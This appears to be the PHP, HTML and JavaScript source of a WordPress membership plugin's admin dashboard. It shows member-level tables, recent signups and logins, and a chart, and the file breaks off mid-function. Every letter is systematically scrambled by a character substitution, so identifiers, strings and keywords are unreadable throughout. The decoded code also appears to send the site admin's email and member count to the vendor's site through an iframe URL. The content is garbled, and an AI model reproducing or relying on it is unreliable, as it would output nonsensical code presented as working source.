WQzmUQplrmUQzmU0FhtBsmnQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUFlmroBnqrsCBoQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUFlmroBnqrsCBoQplrmU)U WQzmUQplrmUQzmUflmroBnqrsCBoQumU/FQzmUY         QumUF DuFnn=QplrmUsFk-mFEQumUWqyq xA (Sqm == QplrmUnrDxFuQplrmU): WQzmU sFk-mFE-FDmxkBQumUWqyq BsCxAU WQzmUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUnrDxFuQplrmU)U WQzmUQplrmUQzmU$rDxFuQumU/FQzmUY      QumU/yNQzmUYY      QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY      QumUV--Y      TjqArrmBo { CxnquFh:srsBU }Y      // --QzmUY      QumU/nmhuBQzmUYY      Y      QumUWqyqY } qlEuxD AlsDmxrs tBsl_CFnyErFoC() { zurEFu StBtEBozBsxlnU WQzmUY      QumUCxk DuFnn=QplrmUjoFqQplrmU nmhuB=QplrmUDuBFo:ErmyUQplrmUQzmUY      QumUWqyq Smyxn-QzmUtBsl_yBFCBo(QplrmUcFnyErFoCQplrmU)U WQzmUYY      QumUWqyq WQzmUYY      QumUWqyq xA (nmouBs(Smyxn-QzmUFDmxkFmxrs-QzmUDFuu) QzmU NKJ) { BDyr QTPMGUQumUitqQzmUQTPMGU.Smyxn-QzmUFDmxkFmxrs-QzmUDFuu.QTPMGUQumU/itqQzmUQTPMGUU } WQzmUYY      QumUWqyq xA (Smyxn-QzmUFDmxkFmxrs-QzmUDFuu == P || nmouBs(Smyxn-QzmUFDmxkFmxrs-QzmUDFuu) QzmU NKJ) { BDyr QTPMGUQumU/CxkQzmUQTPMGUU oBmlosU } WQzmUYY      QumUqQzmU?BuDrtB mr 3BtEBo 9Bsxln. ;nxsz myxn qulzxs hrlQTPMGUuu EB FEuB mr qormBDm hrlo nxmB, mFvB qFhtBsmn, FsC tFsFzB hrlo tBtEBon.QumU/qQzmUYY      QumUmFEuB DBuuqFCCxsz=QplrmUOPQplrmUQzmUY      QumUmoQzmUY      QumUmC kFuxzs=QplrmUmrqQplrmUQzmUYY      QumUWqyq Smyxn-QzmUtBsl_CFnyErFoC_qFsBu()U WQzmUYY      QumUluQzmUY         QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUnBmmxsznQplrmU)U WQzmUQplrmUQzmU$BmmxsznQumU/FQzmUQumU/EQzmU - dlnmrtxgB myB EByFkxro rA hrlo tBtEBonyxq nxmBQumU/uxQzmUY         QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQplrmUQzmU3BtEBonQumU/FQzmUQumU/EQzmU - fCC, CBuBmB, ro tFsFzB qBrquB jyr zBm FDDBnn mr hrlo tBtEBonyxq nxmBQumU/uxQzmUY         QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU)U WQzmUQplrmUQzmU4BkBunQumU/FQzmUQumU/EQzmU - doBFmB FsC trCxAh qormBDmBC nBDmxrsn rA hrlo tBtEBonyxq nxmBQumU/uxQzmUY         QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU)U WQzmUQplrmUQzmUdrsmBsmQumU/FQzmUQumU/EQzmU - drsmoru jyxDy qrnmn FsC qFzBn rA hrlo nxmB EBursz mr uBkBunQumU/uxQzmUY         QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUqFhtBsmnQplrmU)U WQzmUQplrmUQzmU0FhtBsmnQumU/FQzmUQumU/EQzmU - $Bmlq Elmmrsn mr mFvB qFhtBsmn mr zFxs FDDBnn mr uBkBunQumU/uxQzmUY         QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUFlmroBnqrsCBoQplrmU)U WQzmUQplrmUQzmUflmroBnqrsCBoQumU/FQzmUQumU/EQzmU - elxuC F tFxuxsz uxnm Drsnxnmxsz rA hrlo tBtEBonQumU/uxQzmUY         QumUuxQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUnrDxFuQplrmU)U WQzmUQplrmUQzmU$rDxFuQumU/FQzmUQumU/EQzmU - fuurj tBtEBon mr oBzxnmBo QFtqUFtqU urzxs lnxsz nrDxFu sBmjrovn nlDy Fn aFDBErrvQumU/uxQzmUY      QumU/luQzmUYY      QumUArot tBmyrC=QplrmU01$#QplrmUQzmUY      QumUWqyq Smyxn-QzmUFDmxkFmxrs-QzmUCBFDmxkFmxrs_Elmmrs()U WQzmUY      QumU/ArotQzmUYY      QumU/mCQzmUY      QumUmC jxCmy=QplrmULHPQplrmU kFuxzs=QplrmUmrqQplrmU nmhuB=QplrmUqFCCxsz:OPqiUQplrmUQzmUY      QumUxAoFtB FuurjmoFsnqFoBsDh=QplrmUmolBQplrmU noD=QplrmUymmq://jjj.tBtEBozBsxln.Drt/FCn/WBtFxu=QumUWqyq BDyr louBsDrCB(StBtEBozBsxln-QzmUFCtxs-QzmUFDmxkFmxrs-QzmUBtFxu)U WQzmUQFtqUtBtEBon=QumUWqyq BDyr xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm())U WQzmUQFtqUkBonxrs=QumUWqyq BDyr StBtEBozBsxln-QzmUFCtxs-QzmUFDmxkFmxrs-QzmUkBonxrsU WQzmUQplrmU jxCmy=QplrmULHPQplrmU yBxzym=QplrmUMJPQplrmU AoFtBEroCBo=QplrmUOQplrmU EroCBo=QplrmUOQplrmUQzmUQumU/xAoFtBQzmUY      QumU/mCQzmUYY      QumU/moQzmUY      QumU/mFEuBQzmUYY      QumU/CxkQzmUY      QumUWqyqY } qlEuxD AlsDmxrs tBsl_CFnyErFoC_qFsBu() { zurEFu StBtEBozBsxlnU xA (Smyxn-QzmUFDmxkFmxrs-QzmUDFuu == P) { oBmlosU } xA (xnnBm(S_	b&;b$#[QplrmUnQplrmU]) QFtqUQFtqU VBtqmh(S_	b&;b$#[QplrmUnQplrmU])) { Smyxn-QzmUtBsl_tBtEBon()U oBmlosU } SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U SoBDBsm_nxzslqn = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(QplrmUsltEBo=KPQFtqUroCBoEh=oBzxnmBoBCQFtqUroCBo=cb$dQplrmU)U SoBDBsm_urzxsn = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(QplrmUsltEBo=KPQFtqUroCBoEh=uFnmurzxsQFtqUroCBo=cb$dQplrmU)U AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon$xsDB(mxtB()-HJLPP) Fn Sorj) { xA (VxnnBm(SuBkBun[Sorj-QzmUuBkBu_xC])) { DrsmxslBU } SuBkBun[Sorj-QzmUuBkBu_xC]-QzmUnxsDBNL = Sorj-QzmUmrmFuU } AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon$xsDB(mxtB()-HJLPP*I) Fn Sorj) { xA (VxnnBm(SuBkBun[Sorj-QzmUuBkBu_xC])) { DrsmxslBU } SuBkBun[Sorj-QzmUuBkBu_xC]-QzmUnxsDBI = Sorj-QzmUmrmFuU } AroBFDy (StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon$xsDB(mxtB()-HJLPP*MP) Fn Sorj) { xA (VxnnBm(SuBkBun[Sorj-QzmUuBkBu_xC])) { DrsmxslBU } SuBkBun[Sorj-QzmUuBkBu_xC]-QzmUnxsDBMP = Sorj-QzmUmrmFuU } WQzmUY      QumUArot tBmyrC=QplrmUqrnmQplrmU FDmxrs=QplrmUQumUWqyq BDyr Smyxn-QzmUtBslU WQzmU-tBtEBonQplrmUQzmUY      QumUqQzmUY            QumUxsqlm mhqB=QplrmUnBFoDyQplrmU kFulB=QplrmUQplrmU sFtB=QplrmUnQplrmU quFDByruCBo=QplrmU$BFoDy 3BtEBonQplrmU rsCEuDuxDv=QplrmUtBtEBozBsxln_tlumxnBFoDy(myxn)UQplrmUQzmUY            QumUxsqlm mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$BFoDyQplrmUQzmUY      QumU/qQzmUYY      QumUmFEuB DuFnn=QplrmUjxCBAFmQplrmU nmhuB=QplrmUjxCmy:OPP%UQplrmU xC=QplrmUtBtEBozBsxln_CFnyErFoCQplrmUQzmUY      QumUmyBFCQzmUY      QumUmoQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUjxCmy:OPPqiUQplrmUQzmU4BkBuQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUfDmxkBQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUdFsDBuBCQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4Fnm NL 8rlonQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4Fnm I cFhnQumU/myQzmUY         QumUmy nDrqB=QplrmUDruQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmU4Fnm MP cFhnQumU/myQzmUY      QumU/moQzmUY      QumU/myBFCQzmUYY      QumUmErChQzmUY      QumUWqyq SmrmFufDmxkB = PU SmrmFudFsDBuBC = PU WQzmUY      QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY      QumUWqyqY SmrmFufDmxkB += SuBkBu-QzmUFDmxkBU SmrmFudFsDBuBC += SuBkBu-QzmUDFsDBuBCU SnxsDBNL = PU SnxsDBI = PU SnxsDBMP = PU xA (xnnBm(SuBkBu-QzmUnxsDBNL)) { SnxsDBNL = xsmkFu(SuBkBu-QzmUnxsDBNL)U } xA (xnnBm(SuBkBu-QzmUnxsDBI)) { SnxsDBI = xsmkFu(SuBkBu-QzmUnxsDBI)U } xA (xnnBm(SuBkBu-QzmUnxsDBMP)) { SnxsDBMP = xsmkFu(SuBkBu-QzmUnxsDBMP)U } WQzmUY      QumUmoQzmUY         QumUmCQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQFtqUu=QumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/FQzmUQumU/mCQzmUY         QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUArsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmUFDmxkB)U WQzmUQumU/mCQzmUY         QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUArsm-jBxzym:EruCU Druro:oBCU mBim-CBDroFmxrs:uxsB-myorlzyQplrmUQzmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmUDFsDBuBC)U WQzmUQumU/mCQzmUYY         QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUDruro:TffffffU Arsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr SnxsDBNLU WQzmUQumU/mCQzmUY         QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUDruro:TffffffU Arsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr SnxsDBIU WQzmUQumU/mCQzmUY         QumUmC Fuxzs=QplrmUDBsmBoQplrmU nmhuB=QplrmUDruro:TffffffU Arsm-jBxzym:EruCUQplrmUQzmUQumUWqyq BDyr SnxsDBMPU WQzmUQumU/mCQzmUY      QumU/moQzmUY      QumUWqyq BsCAroBFDyU WQzmUYY      QumUmo DuFnn=QplrmUtBtEBozBsxln_nBqFoFmroQplrmUQzmUY         QumUmC DrunqFs=QplrmUJQplrmU DuFnn=QplrmUFumBosFmBQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY      QumU/moQzmUYY      QumUmoQzmUY         QumUmC nmhuB=QplrmUkBomxDFu-Fuxzs:txCCuBUQplrmUQzmUQumUxQzmUQumUF yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQplrmUQzmU#rmFu 3BtEBonQumU/FQzmUQumU/xQzmUQumU/mCQzmUY         QumUmC Fuxzs=QplrmUDBsmBoQplrmU DuFnn=QplrmUtBtEBozBsxln_mrmFuQplrmUQzmUQumUWqyq BDyr xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm(QplrmUfQplrmU))U WQzmUQumU/mCQzmUY         QumUmC Fuxzs=QplrmUDBsmBoQplrmU DrunqFs=QplrmULQplrmUQzmUQFtqUsEnqUQumU/mCQzmUY      QumU/moQzmUYY      QumU/mErChQzmUY      QumU/mFEuBQzmUY      QumU/ArotQzmUYY      QumUCxk nmhuB=QplrmUDuBFo:ErmyU jxCmy:OPP%U tFozxs-mrq:NPqiU mBim-Fuxzs:DBsmBoUQplrmUQzmUY      QumUF DuFnn=QplrmUoBDBsm_uxsvQplrmU yoBA=QplrmUTQplrmU nmhuB=QplrmUArsm-jBxzym:EruCUQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.oBDBsm_uxsvQTPMGU).Dnn(QTPMGUArsm-jBxzymQTPMGU, QTPMGUsrotFuQTPMGU)U w&lBoh(myxn).Dnn(QTPMGUArsm-jBxzymQTPMGU, QTPMGUEruCQTPMGU)U w&lBoh(QTPMGUTtBtEBozBsxln_oBDBsm_nxzslqnQTPMGU).nyrj()U w&lBoh(QTPMGUTtBtEBozBsxln_oBDBsm_urzxsnQTPMGU).yxCB()U oBmlos AFunBUQplrmUQzmU	BDBsm $xzslqnQumU/FQzmU - QumUF DuFnn=QplrmUoBDBsm_uxsvQplrmU yoBA=QplrmUTQplrmU rsDuxDv=QplrmUw&lBoh(QTPMGU.oBDBsm_uxsvQTPMGU).Dnn(QTPMGUArsm-jBxzymQTPMGU, QTPMGUsrotFuQTPMGU)U w&lBoh(myxn).Dnn(QTPMGUArsm-jBxzymQTPMGU, QTPMGUEruCQTPMGU)U w&lBoh(QTPMGUTtBtEBozBsxln_oBDBsm_nxzslqnQTPMGU).yxCB()U w&lBoh(QTPMGUTtBtEBozBsxln_oBDBsm_urzxsnQTPMGU).nyrj()U oBmlos AFunBUQplrmUQzmU	BDBsm 4rzxsnQumU/FQzmUY      QumU/CxkQzmUYY      QumUWqyqY SoBDBsm$xzslq$Doruu = Drlsm(SoBDBsm_nxzslqn) QzmU KU SoBDBsm4rzxs$Doruu = Drlsm(SoBDBsm_urzxsn) QzmU KU WQzmUY      QumUCxk xC=QplrmUtBtEBozBsxln_oBDBsm_nxzslqnQplrmUQumUWqyq xA (SoBDBsm$xzslq$Doruu): WQzmU nmhuB=QplrmUyBxzym:OKPqiU rkBoAurj:FlmrUQplrmUQumUWqyq BsCxAU WQzmUQzmUY      QumUluQzmUY      QumUWqyq AroBFDy (SoBDBsm_nxzslqn Fn SoBDBsm_nxzslq): WQzmUY         QumUuxQzmUY            QumUF yoBA=QplrmUQumUWqyq BDyr zBm_BCxm_lnBo_uxsv(SoBDBsm_nxzslq-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SoBDBsm_nxzslq-QzmUlnBo_urzxs)U WQzmUQumU/FQzmUY            QumUnqFs nmhuB=QplrmUAurFm:oxzymUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SoBDBsm_nxzslq-QzmUlnBo_oBzxnmBoBC)U WQzmU (QumUWqyq BDyr Smyxn-QzmUmxtBnxsDB(nmomrmxtB(SoBDBsm_nxzslq-QzmUlnBo_oBzxnmBoBC))U WQzmU)QumU/nqFsQzmUY         QumU/uxQzmUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/luQzmUY      QumU/CxkQzmUYY      QumUCxk xC=QplrmUtBtEBozBsxln_oBDBsm_urzxsnQplrmU QumUWqyq xA (SoBDBsm4rzxs$Doruu): WQzmUnmhuB=QplrmUCxnquFh:srsBU yBxzym:OKPqiU rkBoAurj:FlmrUQplrmUQumUWqyq BsCxAU WQzmUQzmUY      QumUluQzmUY      QumUWqyq AroBFDy (SoBDBsm_urzxsn Fn SoBDBsm_urzxs): WQzmUY         QumUuxQzmUY            QumUF yoBA=QplrmUQumUWqyq BDyr zBm_BCxm_lnBo_uxsv(SoBDBsm_urzxs-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SoBDBsm_urzxs-QzmUlnBo_urzxs)U WQzmUQumU/FQzmUY            QumUnqFs nmhuB=QplrmUAurFm:oxzymUQplrmUQzmUQumUWqyq BDyr CFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, SoBDBsm_urzxs-QzmUlnBo_kFulB)U WQzmU (QumUWqyq BDyr Smyxn-QzmUmxtBnxsDB(SoBDBsm_urzxs-QzmUlnBo_kFulB)U WQzmU)QumU/nqFsQzmUY         QumU/uxQzmUY      QumUWqyq BsCAroBFDyU WQzmUY      QumU/luQzmUY      QumU/CxkQzmUYY      QumUWqyq Smyxn-QzmUwFkFnDoxqm()U WQzmUYY      QumUnmhuB mhqB=QplrmUmBim/DnnQplrmUQzmUY      QumUV--Y      TtBtEBozBsxln_CFnyErFoC myBFC mo my, TtBtEBozBsxln_CFnyErFoC mErCh mo mC { Arsm-nxgB:OLqiU }Y      Cxk.xsnxCB Arot TtBtEBozBsxln_CFnyErFoC myBFC mo my, Cxk.xsnxCB Arot TtBtEBozBsxln_CFnyErFoC mErCh mo mC {Y         Arsm-nxgB:ONqiUY         qFCCxsz:Hqi Lqi VxtqromFsmUY      }Y      .tBtEBozBsxln_mrmFu {Y         qFCCxsz:KqiU Arsm-jBxzym:EruCU Arsm-nxgB:NNqi VxtqromFsmUY      }Y      Cxk.xsnxCB Arot TtBtEBozBsxln_CFnyErFoC mErCh mo.tBtEBozBsxln_nBqFoFmro { CxnquFh:srsBU }Y      --QzmUY      QumU/nmhuBQzmUYY      QumUWqyq Smyxn-QzmUtBsl_CFnyErFoC_DyFom()U WQzmUY      QumUWqyqY } qlEuxD AlsDmxrs wFkFnDoxqm() { WQzmUY      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY      QumUV--Y      w&lBoh(QTPMGU.tBtEBozBsxln_qrqlqQTPMGU).DuxDv(tBtEBozBsxln_qrqlq_rqBs)UYY      AlsDmxrs tBtEBozBsxln_qrqlq_rqBs() {Y         w&lBoh(QTPMGUTtBtEBozBsxln_lnBosFtB, TtBtEBozBsxln_AxonmsFtB, TtBtEBozBsxln_uFnmsFtB, TtBtEBozBsxln_BtFxu, TtBtEBozBsxln_qFnnjroCO, TtBtEBozBsxln_qFnnjroCNQTPMGU).kFu(QTPMGUQTPMGU)UY         w&lBoh(QTPMGUTtBtEBozBsxln_lnBosFtBQTPMGU).ArDln()UY      }YY      AlsDmxrs tBtEBozBsxln_kxCBr(DFuuBo, nulz) {Y         w&lBoh(DFuuBo).Dnn(QplrmUCxnquFhQplrmU, QplrmUEurDvQplrmU).ymtu(QTPMGUQumUxAoFtB nmhuB=QplrmUtFi-jxCmy:OPP%U qFCCxsz:OPqiUQplrmU jxCmy=QplrmUOPNLQplrmU yBxzym=QplrmUJPPQplrmU noD=QplrmUymmqn://jjj.hrlmlEB.Drt/BtEBC/QTPMGU+nulz+QTPMGUWFlmrquFh=OQFtqUoBu=PQFtqUnyrjxsAr=PQplrmU AoFtBEroCBo=QplrmUPQplrmU EroCBo=QplrmUPQplrmU FuurjAluunDoBBsQzmUQumU/xAoFtBQzmUQTPMGU).Eulo()UY         oBmlos AFunBUY      }YY      AlsDmxrs tBtEBozBsxln_tlumxnBFoDy(DFuuBo) {Y         kFo mBimFoBF = CrDltBsm.DoBFmBbuBtBsm(QTPMGUmBimFoBFQTPMGU)UY         mBimFoBF.kFulB = w&lBoh(DFuuBo).kFu()UYY         mBimFoBF.sFtB = w&lBoh(DFuuBo).Fmmo(QplrmUsFtBQplrmU)UY         mBimFoBF.quFDByruCBo = w&lBoh(DFuuBo).Fmmo(QplrmUquFDByruCBoQplrmU)UYY         xA (w&lBoh(DFuuBo).qFoBsmn(QplrmU.xsnxCBQplrmU).uBszmy == O) {Y            mBimFoBF.Drun = KPUY         }Y         BunB {Y            mBimFoBF.Drun = HPUY         }Y         mBimFoBF.orjn = KUYY         w&lBoh(DFuuBo).FAmBo(QTPMGUQumUEo /QzmUQTPMGU)UY         w&lBoh(DFuuBo).oBquFDB?xmy(mBimFoBF).ArDln()UY      }YY      AlsDmxrs tBtEBozBsxln_DyFszB() {Y         kFo FDmxrs = w&lBoh(QplrmUTtBtEBozBsxln_FDmxrsQplrmU).kFu()UY         kFo uBkBun = w&lBoh(QplrmUTtBtEBozBsxln_uBkBunQplrmU)UYY         xA (FDmxrs == QplrmUtrkBQplrmU || FDmxrs == QplrmUFCCQplrmU || FDmxrs == QplrmUoBtrkBQplrmU || FDmxrs == QplrmUDFsDBuQplrmU || FDmxrs == QplrmUlsDFsDBuQplrmU) {Y            uBkBun.nyrj()UY         }Y         BunB {Y            uBkBun.yxCB()UY         }Y      }YY      AlsDmxrs tBtEBozBsxln_DrsAxot() {Y         kFo tBnnFzB = QTPMGUfoB hrl $;	b hrl jFsm mr CBuBmB myB nBuBDmBC tBtEBonW\s\s#yxn FDmxrs DFssrm EB lsCrsB.\s\sduxDv 15 mr drsmxslB, ro dFsDBu mr nmrq.QTPMGUUY         oBmlos DrsAxot(tBnnFzB)UY      }Y      // --QzmUY      QumU/nDoxqmQzmUY      QumUWqyqY } qlEuxD AlsDmxrs tBsl_CFnyErFoC_DyFom() { zurEFu StBtEBozBsxlnU SAxonm3BtEBo = StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBon(QplrmUsltEBo=OQFtqUroCBoEh=oBzxnmBoBCQFtqUroCBo=f$dQplrmU)U xA (VSAxonm3BtEBo) { oBmlosU } xA (VxnnBm(SAxonm3BtEBo[P]-QzmUlnBo_oBzxnmBoBC)) { oBmlosU } SAxonmcFmB = nmomrmxtB(SAxonm3BtEBo[P]-QzmUlnBo_oBzxnmBoBC)U xA (SAxonmcFmB QzmU= mxtB()) { oBmlosU } SnmFom_hBFo = CFmB(Dyo(HG), SAxonmcFmB)U SnmFom_trsmy = CFmB(QplrmUsQplrmU, SAxonmcFmB)U SBsC_hBFo = CFmB(Dyo(HG))U SBsC_trsmy = CFmB(QplrmUsQplrmU)U StrsmycxAA = ((SBsC_hBFo-SnmFom_hBFo)*ON) + (SBsC_trsmy-SnmFom_trsmy)U Strsmyn = FooFh()U ShBFo = CFmB(Dyo(HG))U Strsmy = CFmB(QplrmUsQplrmU)U Aro (Sx=PUSxQumU=StrsmycxAAUSx++) { SnmFom = tvmxtB(P, P, P, SnmFom_trsmy+Sx, O, SnmFom_hBFo)U SBsC = tvmxtB(P, P, P, SnmFom_trsmy+Sx+O, O, SnmFom_hBFo)U SvBh = CFmB(QplrmUa QplrmU.Dyo(HG), SnmFom)U Strsmyn[SvBh] = FooFh( QplrmUFDmxkBQplrmU =QzmU StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm(QplrmUfQplrmU, P, SBsC), QplrmUDFsDBuBCQplrmU =QzmU StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm(QplrmUdQplrmU, SnmFom, SBsC), QplrmUmyxn3rsmyQplrmU =QzmU StBtEBozBsxln-QzmUtrCBu-QzmUzBm3BtEBodrlsm(sluu, SnmFom, SBsC) )U } WQzmUY      QumUCxk xC=QplrmUtBtEBozBsxln_DyFomQplrmU nmhuB=QplrmUEFDvzorlsC-Druro:moFsnqFoBsmU tFozxs-uBAm:-NPqiU yBxzym: NPPqiUQplrmUQzmUQumU/CxkQzmUY      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmU noD=QplrmU//jjj.zrrzuB.Drt/wnFqxQplrmUQzmUQumU/nDoxqmQzmUY      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY        zrrzuB.urFC(QTPMGUkxnlFuxgFmxrsQTPMGU, QTPMGUOQTPMGU, {qFDvFzBn: [QTPMGUDroBDyFomQTPMGU]})UY      QumU/nDoxqmQzmUY      QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY      kFo DyFom?xCmyUY      xA (w&lBoh(QplrmUTtBtEBozBsxln.qrnmEriQplrmU).uBszmy == P) { DyFom?xCmy = IPPU }Y      BunB { DyFom?xCmy = LKPU }YY      AlsDmxrs CoFj!xnlFuxgFmxrs() {Y        // doBFmB FsC qrqluFmB myB CFmF mFEuB.Y        kFo CFmF = zrrzuB.kxnlFuxgFmxrs.FooFh#rcFmF#FEuB([Y          [QTPMGUiQTPMGU, QTPMGU3BtEBonQTPMGU, QTPMGUdFsDBuuFmxrsnQTPMGU]Y          QumUWqyq AroBFDy (Strsmyn Fn Strsmy =QzmU StBtEBon): WQzmUY          QumUWqyqY SsBj3BtEBon = StBtEBon[QplrmUmyxn3rsmyQplrmU]U SFDmxkB3BtEBon = @xsmkFu(StBtEBon[QplrmUFDmxkBQplrmU])U SDFsDBuBC3BtEBon = @xsmkFu(StBtEBon[QplrmUDFsDBuBCQplrmU])U WQzmUY          ,[QTPMGUQumUWqyq BDyr ymtuBsmxmxBn(Strsmy)U WQzmUQTPMGU, Y         {k:QumUWqyq BDyr SFDmxkB3BtEBonU WQzmU, A:QTPMGUQumUWqyq BDyr SFDmxkB3BtEBonU WQzmU #rmFu, QumUWqyq BDyr SsBj3BtEBonU WQzmU 2BjQTPMGU}, Y          QumUWqyq BDyr SDFsDBuBC3BtEBonU WQzmU]Y          QumUWqyq BsCAroBFDyU WQzmUY        ])UY      Y        // doBFmB FsC CoFj myB kxnlFuxgFmxrs.Y        sBj zrrzuB.kxnlFuxgFmxrs.4xsBdyFom(CrDltBsm.zBmbuBtBsmeh7C(QTPMGUtBtEBozBsxln_DyFomQTPMGU)).Y            CoFj(CFmF, {DlokB#hqB: QplrmUsrsBQplrmU,Y              EFDvzorlsCdruro:QplrmUmoFsnqFoBsmQplrmU,Y               jxCmy: DyFom?xCmy, yBxzym: NPP,Y               Druron:[QTPMGUTPOHedbQTPMGU, QTPMGUTDBPPPPQTPMGU],Y               uBzBsC:{qrnxmxrs:QplrmUsrsBQplrmU},Y               qrxsm$xgB:K,Y               kfixn:{kxBj?xsCrj:{txs:P}}Y           }Y        )UY      }Y      zrrzuB.nBm1s4rFCdFuuEFDv(CoFj!xnlFuxgFmxrs)UY    QumU/nDoxqmQzmUY    QumUWqyqY } qlEuxD AlsDmxrs tBsl_nBmmxszn() { zurEFu StBtEBozBsxlnU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_yBFCBoQplrmU])) { xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_srmxAhQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUsrmxAhQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_qorAxuBQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU, O)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUqorAxuBQplrmU, P)U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmU]) QFtqUQFtqU xn_sltBoxD(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmU])) { xA (S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmU] == P) { lqCFmB_rqmxrs(QplrmUnyrj_rs_AorsmQplrmU, QplrmUqrnmnQplrmU)U lqCFmB_rqmxrs(QplrmUqFzB_rs_AorsmQplrmU, P)U } BunB { lqCFmB_rqmxrs(QplrmUnyrj_rs_AorsmQplrmU, QplrmUqFzBQplrmU)U lqCFmB_rqmxrs(QplrmUqFzB_rs_AorsmQplrmU, S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_Aorsm_qFzBQplrmU])U } } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_roCBoQplrmU])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBmmxsz(QplrmUroCBoQplrmU, nmoxqnuFnyBn(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_roCBoQplrmU]))U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nBmmxszn_yBFCBoQplrmU])) { 